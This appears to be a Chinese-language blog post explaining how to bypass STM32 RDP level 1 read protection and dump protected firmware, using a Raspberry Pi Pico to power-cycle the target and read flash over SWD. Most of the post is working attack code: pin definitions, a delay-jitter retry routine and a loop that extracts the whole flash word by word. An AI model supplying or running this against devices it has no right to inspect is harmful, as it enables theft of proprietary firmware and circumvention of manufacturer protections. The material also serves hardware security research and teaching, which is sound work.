stm32f0x_bypass_rdp1

stm32f1x 绕过rdp1 提取固件

使用st公司的MB1034B开发板，断开板载调试接口（cn2）后控制电源JP2.

烧录代码使用rdp 1

再次读出就会提示保护

攻击成功

攻击代码部分详解

全局定义

#define BUTTON1_Pin 4 //按键 好像没用哈哈
#define LED1_Pin 25   //指示灯这里默认使用pico核心板自带的

#define TARGET_PWR_Pin 26    //stm32 供电管理
#define TARGET_RESET_Pin 27  //stm32 reset
#define SWDIO_Pin 14         //stm32 swdio
#define SWCLK_Pin 15         //stm32 swdclk

#define MAX_READ_ATTEMPTS (100u)

/* all times in milliseconds */
/* minimum wait time between reset deassert and attack */
/* With my test devices this works as 0. Obermaier's default is 20 */
// #define DELAY_JITTER_MS_MIN (20u)
#define DELAY_JITTER_MS_MIN (0)
/* increment per failed attack */
#define DELAY_JITTER_MS_INCREMENT (1u)
/* maximum wait time between reset deassert and attack */
#define DELAY_JITTER_MS_MAX (50u)

uint32_t flashData = 0;
   for (uint32_t i = 0; i < size; i+=4) {  //循环读出整个flash大小
       flashData = 0;
       status = extractFlashData(flashAddress + i, &flashData);
       if (status != swdStatusOk) {
           Serial.printf("Error reading: %x\r\n", status);
           break;
       }
       Serial.printf("%08x: %08x\r\n", flashAddress + i, flashData);
   }

/* Reads one 32-bit word from read-protection Flash memory. Address must be 32-bit aligned */
swdStatus_t extractFlashData(uint32_t const address, uint32_t* const data) {
    swdStatus_t dbgStatus;

    /* Add some jitter on the moment of attack (may increase attack effectiveness) */
    static uint16_t delayJitter = DELAY_JITTER_MS_MIN;

    uint32_t extractedData = 0u;
    uint32_t idCode = 0u;

    /* Limit the maximum number of attempts PER WORD */
    uint32_t numReadAttempts = 0u;

    /* try up to MAX_READ_TRIES times until we have the data */
    do {
        digitalWrite(LED1_Pin, LOW);

        targetPowerOn();

        delay(5);

        dbgStatus = swdInit(&idCode);
       
        if (dbgStatus == swdStatusOk) {
            dbgStatus = swdEnableDebugIF();
        }

        if (dbgStatus == swdStatusOk) {
            dbgStatus = swdSetAP32BitMode(NULL);
        }

        if (dbgStatus == swdStatusOk) {
            dbgStatus = swdSelectAHBAP();
        }

        if (dbgStatus == swdStatusOk) {
            targetRestore();
            delay(delayJitter);              //尝试不同的延时

            /* The magic happens here! */
            dbgStatus = swdReadAHBAddr((address & 0xFFFFFFFCu), &extractedData);
        }

        targetReset();

        /* Check whether readout was successful. Only if swdStatusOK is returned, extractedData is valid */
        if (dbgStatus == swdStatusOk) {
            *data = extractedData;
            digitalWrite(LED1_Pin, HIGH);
        } else {
            ++numReadAttempts;

            delayJitter += DELAY_JITTER_MS_INCREMENT; //步进
            if (delayJitter >= DELAY_JITTER_MS_MAX) { //判断是否大于最大延时
                delayJitter = DELAY_JITTER_MS_MIN;    //复位延时
            }
        }

        targetPowerOff();

        delay(1);
        targetRestore();
        delay(2);
        targetReset();
        delay(1);

    } while ((dbgStatus != swdStatusOk) && (numReadAttempts < (MAX_READ_ATTEMPTS)));

    return dbgStatus;
}

参考：

https://lucasteske.dev/2024/01/stm32f0x-protected-firmware-dumper#stm32f0x-protected-firmware-dumper

赏

谢谢你请我吃糖果